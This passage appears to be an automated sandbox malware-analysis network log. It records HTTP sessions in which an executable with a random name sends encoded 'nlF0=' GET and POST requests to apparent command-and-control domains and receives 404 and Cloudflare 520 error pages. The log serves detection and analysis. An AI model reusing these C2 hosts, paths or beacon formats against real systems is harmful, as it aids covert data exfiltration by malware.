[TRUNCATED]
                                                                        Data Ascii: nlF0=orak10WSoIiUjzyNTDVRnkUtbjiQxTq55wOLnoAhbaQGWrS74VXvNqnXNcT6Ac5QbnEWA0cVr7suLtZtofUxKksDH7IQF59wDaNsKhS8vsfcIdmnICV3Ej8rfXDRkC28JfIe0Bvw2+H52JRIc4ewC4BZlUlIp6c3/bM+vi6H6OqXMK6p4vgGZx20bEj8n9zvY9kf11tKuk8i4GHkiKBg/IXdRz+yhBzXQkQqlm0/kWsgYVhwXzs1g+aDwpCmFNqJzojKenXf2vqQXu8GdQYZeCkQfx9n3CeIeKgobdrzcehXS9SQEonmu62kFk/g6VhrWLPi6s0sgRLY6m/QiZXLP625T0Gp2aCr6lb/lkPLnOAqZGtM4hiIpG55zYwecn3KYf+IpPcZ76iVWwIrqLujH9YKnSki9KxzMWaXGgU+sIYDgKOO9BytMRhrHXdwbeCQpaFMGSwZQJ6yYnW2pQ/f0q/6G07wpmcB/I54xBr+xWIxgccyh8RjF3i1NohHnxiPDkAJhiqX1Yp+a3RKhLhTVs8+6BbGKtR4lrcxKXkCVBAk95HHVe633tce/HuVemOfCOkreI3oyPOtAjUgL3g48dlB/NvWfbHGP8GAd5uZ/aduh39zw6z8a6vceN46y7LfBCmMs9DT3Xb7q7+OLLcIk+HONIr1go+WUgTRQ8mTavxBJMmxNRbBEAe7aAlwuAwzeLg8iTtHBkE14Xk+QUzjUktx5FaY21T4BNDfrkKx5j82n/HGuBYjvdU/9q6B8zRGtOK88t0RQM0xfmbuhJkXm34X7e4XA00X8d18ykH8AFpWigEXoV5nqBviP1yyaphBxAQuwqDQ02+tqjoo4G3jXlQTc7bpi2wCQn5eiESyENTOYBdP0i8jbGLLVL4bck1VDlaEhwTlYSa7s0prdQLkH4vc7sCmMGe+WVR+iaJ6yvMU7Cp/Ez1Fjg+dO0n0o4xEBPPZxGmkEUJjr8ks2pwKKm+DVmknA/9XFTQ7yU7n3yIwv8e [TRUNCATED]
                                                                        Nov 27, 2024 20:48:47.501039982 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:48:47 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        16192.168.2.84980635.220.176.144805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:48.593539000 CET471OUTGET /z7sc/?UDg=ZFTXPHspLZsHZTR&nlF0=lpyE2AbPqI/20nbKSARmowg0bFSQhSm/nj7uqY0yeMpYT6Ph3E36c6D0EpnRPNVSfUYtH00jj9MWE9I4iZUmSCYlV7kEepREKYNNACOgj/TAEvCHZhU2KU02BknWrSXJSQ== HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.bienmaigrir.info
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:48:50.229485035 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:48:49 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        17192.168.2.849822104.21.36.5805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:55.738332987 CET746OUTPOST /983l/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.exitomagnetico.online
                                                                        Origin: http://www.exitomagnetico.online
                                                                        Referer: http://www.exitomagnetico.online/983l/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 74 2b 2b 72 51 6f 42 55 72 79 57 38 44 76 49 41 37 37 75 61 63 68 51 62 4f 4b 61 65 32 54 6f 65 6d 51 44 6b 61 79 38 36 4e 69 62 67 54 74 52 77 53 32 54 4d 54 42 6e 41 76 34 6d 4e 61 48 31 33 79 67 34 55 43 36 4f 4b 6a 62 77 56 78 43 7a 48 79 6f 6d 75 49 32 52 59 55 4b 77 44 31 66 7a 79 37 51 53 52 6c 41 4b 7a 64 4a 5a 77 2f 42 4f 48 41 55 39 37 67 78 44 69 43 36 58 77 46 78 58 6e 61 54 4e 53 4e 33 6e 4d 6d 4f 46 71 4d 42 73 5a 75 71 4d 2b 4a 66 74 66 5a 6f 62 66 52 36 4f 52 31 33 62 4c 6e 74 55 67 36 78 67 2b 42 44 45 37 2b 76 2b 55 43 35 6f 4f 72 71 37 43 56 4d 37 53 6b 71 56 51 41 46 59 3d
                                                                        Data Ascii: nlF0=t++rQoBUryW8DvIA77uachQbOKae2ToemQDkay86NibgTtRwS2TMTBnAv4mNaH13yg4UC6OKjbwVxCzHyomuI2RYUKwD1fzy7QSRlAKzdJZw/BOHAU97gxDiC6XwFxXnaTNSN3nMmOFqMBsZuqM+JftfZobfR6OR13bLntUg6xg+BDE7+v+UC5oOrq7CVM7SkqVQAFY=
                                                                        Nov 27, 2024 20:48:57.038175106 CET1236INHTTP/1.1 520
                                                                        Date: Wed, 27 Nov 2024 19:48:56 GMT
                                                                        Content-Type: text/html; charset=UTF-8
                                                                        Content-Length: 7241
                                                                        Connection: close
                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BzSLfhmM3NtEd5LSpYosKzs53Cr%2BGe5gP8ryD8ptaTtXBjHL%2B3jX%2BdsRgxhwBjtsPZhBam%2BsG6Fnj%2BC0ZcMr9HVMX9mMMnYX0e6E3x0XcnTjrStnlLOF3M%2FleNESdWeko9f2RjVJ4gC5VswJ"}],"group":"cf-nel","max_age":604800}
                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                        X-Frame-Options: SAMEORIGIN
                                                                        Referrer-Policy: same-origin
                                                                        Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                        Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                        Server: cloudflare
                                                                        CF-RAY: 8e94a37e6bbec339-EWR
                                                                        alt-svc: h3=":443"; ma=86400
                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=2222&min_rtt=2222&rtt_var=1111&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=746&delivery_rate=0&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f
                                                                        Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no
                                                                        Nov 27, 2024 20:48:57.038206100 CET1236INData Raw: 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 0a 3c 74 69 74 6c 65 3e 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 20 7c 20 35 32
                                                                        Data Ascii: -js" lang="en-US"> ...<![endif]--><head><title>www.exitomagnetico.online | 520: Web server is returning an unknown error</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equ
                                                                        Nov 27, 2024 20:48:57.038222075 CET1236INData Raw: 38 3a 35 36 20 55 54 43 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 79 2d 38 20 62 67 2d 67 72 61 64 69 65 6e 74 2d 67 72 61 79 22 3e 0a 20 20 20 20 20
                                                                        Data Ascii: 8:56 UTC</div> </header> <div class="my-8 bg-gradient-gray"> <div class="w-240 lg:w-full mx-auto"> <div class="clearfix md:px-8"> <div id="cf-browser-status" class=" relative w-1/3
                                                                        Nov 27, 2024 20:48:57.038350105 CET1236INData Raw: 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66
                                                                        Data Ascii: de_520&utm_campaign=www.exitomagnetico.online" target="_blank" rel="noopener noreferrer"> <span class="cf-icon-cloud block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto
                                                                        Nov 27, 2024 20:48:57.038393021 CET1236INData Raw: 6c 6c 20 74 72 75 6e 63 61 74 65 22 3e 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 3c 2f 73 70 61 6e 3e 0a 20 20 3c 68 33 20 63 6c 61 73 73 3d 22 6d 64 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 6d 74 2d 33 20 6d 64
                                                                        Data Ascii: ll truncate">www.exitomagnetico.online</span> <h3 class="md:inline-block mt-3 md:mt-0 text-2xl text-gray-600 font-light leading-1.3"> Host </h3> <span class="leading-1.3 text-2xl text-red-error">Error</span></div>
                                                                        Nov 27, 2024 20:48:57.038408041 CET1236INData Raw: 6e 64 20 79 6f 75 72 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 43 6c 6f 75 64 66 6c 61 72 65 20 6d 6f 6e 69 74 6f 72 73 20 66 6f 72 20 74 68 65 73 65 20 65 72 72 6f 72 73 20 61 6e 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20
                                                                        Data Ascii: nd your origin web server. Cloudflare monitors for these errors and automatically investigates the cause. To help support the investigation, you can pull the corresponding error log from your web server and submit it our support team. Please
                                                                        Nov 27, 2024 20:48:57.038424015 CET776INData Raw: 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e
                                                                        Data Ascii: pan> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance &amp; security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing?utm_source=errorcode_520&utm_campaign=www.exitomagnet
                                                                        Nov 27, 2024 20:48:57.039072990 CET6INData Raw: 68 74 6d 6c 3e 0a
                                                                        Data Ascii: html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        18192.168.2.849828104.21.36.5805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:48:58.403767109 CET766OUTPOST /983l/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.exitomagnetico.online
                                                                        Origin: http://www.exitomagnetico.online
                                                                        Referer: http://www.exitomagnetico.online/983l/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 74 2b 2b 72 51 6f 42 55 72 79 57 38 5a 50 34 41 35 63 43 61 5a 42 51 63 43 71 61 65 2f 7a 6f 53 6d 51 66 6b 61 77 52 2f 4f 52 76 67 51 50 5a 77 54 33 54 4d 51 42 6e 41 6b 59 6d 49 48 58 31 70 79 67 38 79 43 37 79 4b 6a 62 6b 56 78 47 2f 48 79 35 6d 70 4b 6d 52 61 63 71 77 42 36 2f 7a 79 37 51 53 52 6c 41 66 37 64 4a 68 77 38 77 2b 48 42 33 6c 34 37 52 44 68 53 71 58 77 50 52 58 72 61 54 4e 67 4e 79 62 69 6d 4d 74 71 4d 44 30 5a 67 65 51 39 48 66 73 61 57 49 61 37 63 50 54 41 38 33 50 4b 6b 4f 4d 46 30 44 67 52 4e 56 31 52 6b 4e 32 53 42 35 41 6c 72 70 54 30 51 37 6d 36 2b 4a 46 67 65 53 4d 6a 44 66 6b 43 63 53 62 6d 6c 56 30 78 48 35 79 6e 78 6d 33 4e
                                                                        Data Ascii: nlF0=t++rQoBUryW8ZP4A5cCaZBQcCqae/zoSmQfkawR/ORvgQPZwT3TMQBnAkYmIHX1pyg8yC7yKjbkVxG/Hy5mpKmRacqwB6/zy7QSRlAf7dJhw8w+HB3l47RDhSqXwPRXraTNgNybimMtqMD0ZgeQ9HfsaWIa7cPTA83PKkOMF0DgRNV1RkN2SB5AlrpT0Q7m6+JFgeSMjDfkCcSbmlV0xH5ynxm3N
                                                                        Nov 27, 2024 20:48:59.735100985 CET1236INHTTP/1.1 520
                                                                        Date: Wed, 27 Nov 2024 19:48:59 GMT
                                                                        Content-Type: text/html; charset=UTF-8
                                                                        Content-Length: 7241
                                                                        Connection: close
                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G6oE5HC402JPmtwKG3y7eGm9ixNDSXUgYQ422SlsSXTOX1yy4uzwvIF%2B7qodHhT%2B1m6w3PoxtDds9o%2B89DorwK96eYCnNaEDf4PV%2BejzHHmgcE4EDmvKDpDP1ipZ1UL6YzaKf6Z0g4hJ6FcX"}],"group":"cf-nel","max_age":604800}
                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                        X-Frame-Options: SAMEORIGIN
                                                                        Referrer-Policy: same-origin
                                                                        Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                        Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                        Server: cloudflare
                                                                        CF-RAY: 8e94a38f2cf24387-EWR
                                                                        alt-svc: h3=":443"; ma=86400
                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1631&min_rtt=1631&rtt_var=815&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=766&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20
                                                                        Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js"
                                                                        Nov 27, 2024 20:48:59.735179901 CET1236INData Raw: 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 0a 3c 74 69 74 6c 65 3e 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 20 7c 20 35 32 30 3a 20 57 65
                                                                        Data Ascii: lang="en-US"> ...<![endif]--><head><title>www.exitomagnetico.online | 520: Web server is returning an unknown error</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X
                                                                        Nov 27, 2024 20:48:59.735198975 CET1236INData Raw: 55 54 43 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 65 72 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 79 2d 38 20 62 67 2d 67 72 61 64 69 65 6e 74 2d 67 72 61 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20
                                                                        Data Ascii: UTC</div> </header> <div class="my-8 bg-gradient-gray"> <div class="w-240 lg:w-full mx-auto"> <div class="clearfix md:px-8"> <div id="cf-browser-status" class=" relative w-1/3 md:w
                                                                        Nov 27, 2024 20:48:59.735522985 CET1236INData Raw: 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72
                                                                        Data Ascii: 0&utm_campaign=www.exitomagnetico.online" target="_blank" rel="noopener noreferrer"> <span class="cf-icon-cloud block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:ri
                                                                        Nov 27, 2024 20:48:59.735534906 CET1236INData Raw: 75 6e 63 61 74 65 22 3e 77 77 77 2e 65 78 69 74 6f 6d 61 67 6e 65 74 69 63 6f 2e 6f 6e 6c 69 6e 65 3c 2f 73 70 61 6e 3e 0a 20 20 3c 68 33 20 63 6c 61 73 73 3d 22 6d 64 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 20 6d 74 2d 33 20 6d 64 3a 6d 74 2d 30
                                                                        Data Ascii: uncate">www.exitomagnetico.online</span> <h3 class="md:inline-block mt-3 md:mt-0 text-2xl text-gray-600 font-light leading-1.3"> Host </h3> <span class="leading-1.3 text-2xl text-red-error">Error</span></div>
                                                                        Nov 27, 2024 20:48:59.735677004 CET1236INData Raw: 75 72 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 43 6c 6f 75 64 66 6c 61 72 65 20 6d 6f 6e 69 74 6f 72 73 20 66 6f 72 20 74 68 65 73 65 20 65 72 72 6f 72 73 20 61 6e 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 69 6e 76 65 73
                                                                        Data Ascii: ur origin web server. Cloudflare monitors for these errors and automatically investigates the cause. To help support the investigation, you can pull the corresponding error log from your web server and submit it our support team. Please inclu
                                                                        Nov 27, 2024 20:48:59.735688925 CET776INData Raw: 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61
                                                                        Data Ascii: </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance &amp; security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing?utm_source=errorcode_520&utm_campaign=www.exitomagnetico.o
                                                                        Nov 27, 2024 20:48:59.735815048 CET1INData Raw: 0a
                                                                        Data Ascii:


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        19192.168.2.849837104.21.36.5805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:01.087374926 CET1783OUTPOST /983l/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.exitomagnetico.online
                                                                        Origin: http://www.exitomagnetico.online
                                                                        Referer: http://www.exitomagnetico.online/983l/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 74 2b 2b 72 51 6f 42 55 72 79 57 38 5a 50 34 41 35 63 43 61 5a 42 51 63 43 71 61 65 2f 7a 6f 53 6d 51 66 6b 61 77 52 2f 4f 51 58 67 54 39 68 77 53 55 37 4d 66 68 6e 41 36 6f 6d 4a 48 58 30 73 79 67 45 75 43 37 2b 77 6a 64 67 56 77 6c 33 48 6a 37 65 70 44 6d 52 61 51 4b 77 43 31 66 7a 6a 37 51 6a 35 6c 41 50 37 64 4a 68 77 38 79 6d 48 56 55 39 34 38 68 44 69 43 36 58 43 46 78 58 48 61 54 46 61 4e 7a 76 63 6c 39 4e 71 50 6a 6b 5a 73 4c 4d 39 50 66 73 55 54 49 61 6a 63 50 57 59 38 33 6a 73 6b 4e 51 37 30 42 77 52 4f 51 49 67 2b 4a 6d 39 62 61 55 4f 79 6f 36 54 64 4b 61 6f 34 76 56 77 42 56 38 41 4c 34 45 36 55 45 6e 72 75 31 46 59 62 66 65 7a 68 69 4f 65 32 37 51 4d 65 69 52 76 56 57 79 30 6c 45 4a 62 34 64 6b 56 45 35 33 7a 78 4e 56 4a 48 39 51 56 38 6d 66 33 43 41 4a 4d 72 2b 45 47 5a 6a 65 33 4a 34 46 2f 4f 4f 6c 73 65 71 64 54 68 64 49 31 68 43 62 39 70 32 4d 6b 76 6b 78 36 41 37 56 54 39 6f 33 43 41 53 61 37 46 72 74 30 58 48 4d 57 51 61 52 75 4c 46 44 37 78 31 79 76 59 7a 4c 31 38 [TRUNCATED]
                                                                        Data Ascii: nlF0=t++rQoBUryW8ZP4A5cCaZBQcCqae/zoSmQfkawR/OQXgT9hwSU7MfhnA6omJHX0sygEuC7+wjdgVwl3Hj7epDmRaQKwC1fzj7Qj5lAP7dJhw8ymHVU948hDiC6XCFxXHaTFaNzvcl9NqPjkZsLM9PfsUTIajcPWY83jskNQ70BwROQIg+Jm9baUOyo6TdKao4vVwBV8AL4E6UEnru1FYbfezhiOe27QMeiRvVWy0lEJb4dkVE53zxNVJH9QV8mf3CAJMr+EGZje3J4F/OOlseqdThdI1hCb9p2Mkvkx6A7VT9o3CASa7Frt0XHMWQaRuLFD7x1yvYzL18T93n22oCIUO0B5LkJ128JzsMImlpL+XN5oxSiGyfIV2dp3VnDCABoV+bWejYbBX/b2xkCIfxeAXfDnmp90WcyO5LEJAyw7S/IkgM55jy5heNoMF6Um3MC64c00ZokdekzmP7SnAkB1cIz1zVCypKVeQQe5U4ttLGhVQrjcwLp+8nIcesXQlpWb+abEXxLAgpfyOUuYx5b7RnPqPTKACd2Ay9lkw02x4x0q1Dt5AbcN2jZR+Rz70U9nXqLiakaLbQkyiuHBo3Chs5DYeN+uvH7HSRFHVNxUcMGnoF3CmqJVAGh6f26aKZbBhFY77BNvYNBIsHoEQvUXnvXURPcQAi80W1oaqUtuYAtZoj8bQvFoRk7ux8EVezTiaIqynGGAZfglJgcV7Y4Al9w7Z3BAWJ/iFdutVd9cOPHP5FfVbMyA3J55X5yTN1H3ZKcolb+REIewK/0C0TU1t3zzYjxU9AKmIvLzUb3chtQspSDFRzibpmFy7ssiipbvhB7td/+aRlpgwt+b6gBZdvcr90syxn+wgFzluo2JnRwBD1EgQSrkueDs+0qhg/PwhNx18q6qSnIOSks+XzW4PbEsiTQpKRXceYE7hbLmIDU+JQqgnrwXKB/x9OcPx69gLZ8AUqAxUjZuRpkJ0qVQKWbfD1l/P+HT/dR0FEEFAFOl [TRUNCATED]
                                                                        Nov 27, 2024 20:49:02.604022026 CET1236INHTTP/1.1 520
                                                                        Date: Wed, 27 Nov 2024 19:49:02 GMT
                                                                        Content-Type: text/html; charset=UTF-8
                                                                        Content-Length: 7241
